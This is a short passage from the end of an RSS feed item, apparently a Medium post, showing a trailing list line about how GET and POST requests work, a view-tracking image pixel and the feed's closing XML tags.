payload.<br>- How can GET and POST work</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f6eef48b11e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>